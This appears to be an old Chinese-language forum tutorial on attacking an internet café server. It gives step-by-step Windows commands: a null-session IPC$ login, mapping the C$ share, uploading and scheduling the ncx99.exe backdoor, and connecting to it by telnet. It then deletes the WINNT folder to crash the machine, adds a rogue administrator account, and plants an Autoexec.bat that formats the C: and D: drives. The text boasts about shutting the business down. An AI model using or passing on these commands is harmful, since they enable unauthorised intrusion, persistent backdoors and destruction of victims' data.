先查它的ip IP:61.141.xxx.xxx （方法很多的）  
我就打開DOS輸入：net use \\61.141.xxx.xxx\ipc$  
提示輸入密碼：  
我估計是空！  
直接按下[Enter]  
真的被我猜中了！  
接著我便繼續輸入:net use \\61.141.xxx.xxx\c$  
提示輸入密碼：  
我也沒有理會！  
誰知道這下不管用了！  
找他的弱口令X-SCANNER（冰河的力作。下載地http://www.xfocus.org)掃他  
我接著就映射他的c盤  
net use z: \\61.141.xxx.xxx\c$  
接著把NETX99放上去！  
看他的時間！  
net time \\61.141.xxx.xxx  
他的時間是假如是下午3：02分  
接著安排他的執行時間！  
at \\61.141.xxx.xxx 15:04 ncx99.exe  
命令成功完成!  
接下來就是等時間了！  
OK!到時間了！  
telnet 61.141.xxx.xxx 99  
進入了！  
c:\>rd /s /q WINNT  
呵呵！  
這時你會發現有很多檔拒絕訪問！  
不要害怕！  
這是很正常的事情！  
因為他有很多文件正在調用！  
不過他的機器很快就會拼命報錯！  
直到系統崩潰！  
呵呵！  
對於一個網吧來說！  
這個無疑是一個致命的打擊！  
沒有主機怎麼上網？  
只有關門了！  
呵呵！  
接著就是如何獲取ADMIN的許可權了！  
我們首先把他的C盤映射成為我們的Z盤！  
開始－－運行－－cmd  
輸入:net use z: //61.141.xxx.xxx/c$ "密碼" /user:"用戶名"  
出現：命令成功完成  
這時候你打開“我的電腦”看看！  
是不是多了一個Z盤？  
接著不用我多說了吧？  
首先必須創建一個你自己的用戶名  
輸入：net user 用戶名 "密碼" /add  
出現：命令成功完成  
OK!  
接著就是如何把你創建的用戶加到ADMIN組了！  
輸入：net localgroup "administrators" 用戶名 /add  
出現：命令成功完成  
呵呵！  
我們把他的WINNT目錄刪除掉！  
回到對方的MS-DOS下！  
輸入：rd /s /q WINNT  
這時你會發現有很多檔拒絕訪問！  
不要害怕！  
這是很正常的事情！  
因為他有很多文件正在調用！  
不過他的機器很快就會拼命報錯！  
直到系統崩潰！  
夠好玩的了吧？  
如果對方是WIN98的話你可以把他C盤根目錄下的Autoexec.bat文件改一下！  
打開他的Autoexec.bat文件！  
把原來的全刪掉！  
輸入:  
－－－－－－－－－－－－－－－－－－－－  
@echo off  
format d: /q /u  
delete d:  
format c: /q /u  
delete c:  
－－－－－－－－－－－－－－－－－－－－  
保存！  
等他重啟後就會慢慢的格掉D盤再格C盤！ 呵呵............不要幹壞事呀！！！